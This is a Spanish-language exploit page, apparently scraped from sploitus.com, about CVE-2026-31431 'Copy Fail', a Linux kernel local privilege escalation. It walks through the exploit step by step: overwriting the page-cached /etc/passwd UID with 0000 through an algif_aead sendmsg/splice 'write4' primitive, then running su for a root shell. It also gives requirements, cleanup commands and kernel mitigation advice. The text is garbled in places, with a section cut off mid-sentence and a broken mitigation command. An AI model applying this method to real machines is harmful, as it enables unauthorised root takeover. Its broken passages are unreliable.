## https://sploitus.com/exploit?id=F86C0BF4-3B9B-560C-AD71-6CF4777D0675
# 🚨 CVE-2026-31431: Copy Fail
> **Un fallo crítico de 9 años en el kernel de Linux que permite obtener acceso root en segundos**
---
## 📋 Resumen Ejecutivo
| Atributo | Detalles |
|----------|----------|
| **CVE** | CVE-2026-31431 |
| **Apodo** | Copy Fail |
| **Tipo** | Escalamiento de Privilegios Local (LPE) |
| **CVSS** | 7.8 (High) |
| **Descubierto por** | Theori (Xint Code) |
| **Divulgación** | 29 de abril de 2026 |
| **Componente** | Subsistema `algif_aead` del kernel de Linux |
---
## ⚡ ¿Por qué es tan peligroso?
### 🎯 Velocidad
- Exploit instantáneo: **`
```
Función:
1. Busca la línea UID del usuario en ejecución en `/etc/passwd` y encuentra el
desplazamiento de bytes del campo UID de 4 caracteres.
2. Ejecuta un `write4` sobre ese desplazamiento, reemplazando el UID con
`0000`.
3. Llama a `pwd.getpwnam(usuario)` para confirmar que libc ahora informa UID 0.
4. Con `--shell`, ejecuta `execvp("su", ["su", usuario])`. Introduce tu propia
contraseña. PAM valida contra `/etc/shadow` (sin modificar), luego
`setuid(getpwnam(user).pw_uid)` se establece en 0.
### Requisitos
- El usuario en ejecución tiene un UID de 4 dígitos (1000–9999). Los UID de 1 a 3 dígitos
requieren escrituras de múltiples disparos; extienda `write4` según corresponda.
- Ningún demonio de caché NSS (`nscd`, `sssd`, `systemd-userdbd`) está enmascarando
las lecturas de `/etc/passwd`. Si `getpwnam` aún devuelve el UID real después de
la aplicación del parche, reinicie o ignore la caché, o seleccione un usuario diferente.
- La página `/etc/passwd` debe permanecer en la caché entre la aplicación del parche y la
ejecución de `su`. En la práctica, esto es fiable en cualquier sistema con una presión de memoria normal.
### Reversión
El archivo `/etc/passwd` en disco permanece sin cambios.
La ejecución en seco (`exploit_cve_2026_31431.py` sin `--shell`) elimina automáticamente
la página corrupta al salir mediante `POSIX_FADV_DONTNEED`, por lo que las búsquedas de UID → nombre
vuelven a la normalidad inmediatamente.
Tras usar `--shell`**, la página permanece corrupta hasta que se borra.
Mientras esté corrupta, cualquier operación que resuelva UID 1000 → nombre (por ejemplo, `ls`,
administradores de archivos, comprobaciones de propiedad de scp/sftp) fallará o mostrará identificadores numéricos. Para borrarlo:
```sh
# Sin privilegios: solicita la eliminación de la caché de páginas de /etc/passwd:
python3 -c "import os; fd=os.open('/etc/passwd', os.O_RDONLY); \
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED); os.close(fd)"
# Desde la consola de root:
echo 3 > /proc/sys/vm/drop_caches
```
Un reinicio también lo borra.
## Cómo funciona `write4`
```
sendmsg([AAD de 8 bytes], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # EBADMSG; la escritura temporal ya se ha realizado
```
Los 4 bytes de las posiciones 4 a 7 del AAD (`seqno_lo`) son escritos por
`authencesn` en la lista de dispersión de destino, que en esta ruta de código
es la página de caché de páginas que extrajimos de `target_fd`. El desplazamiento de aterrizaje
dentro de la página corresponde al `offset_src` que pasamos a `splice()`.
## Mitigación
Hasta que el kernel parcheado llegue a tu distribución:
```sh
sudo tee /etc/modprobe.d/disable-algif-aead.conf /dev/null
```
Tras aplicar el parche, `test_cve_2026_31431.py` debería mostrar el mensaje «Precondición
no cumplida» y salir con código 0.
La corrección original revierte las operaciones AEAD in situ a operaciones fuera de lugar,
manteniendo las páginas de la caché de páginas fuera de las listas de dispersión modificables.
## 📚 Referencias Oficiales
- [CVE-2026-31431 - NVD](https://nvd.nist.gov)
- [Copy Fail Patches - AlmaLinux](https://almalinux.org)
- [Sysdig Security Research](https://sysdig.com)
- [CISA Alert](https://cisa.gov)
---
## ⚠️ Recomendaciones Finales
1. **Prioridad Crítica**: Actualiza tu kernel **antes del 15 de mayo de 2026** (mandato de CISA)
2. **Si no puedes reiniciar**: Aplica la mitigación temporal deshabilitando `algif_aead`
3. **En Cloud/Kubernetes**: Verifica que tus nodos estén parcheados inmediatamente
4. **Monitoreo**: Busca intentos de carga del módulo `algif_aead` en logs de auditoría
---
**Última actualización**: 3 de mayo de 2026
**Estado**: 🔴 CRÍTICO - Acción inmediata requerida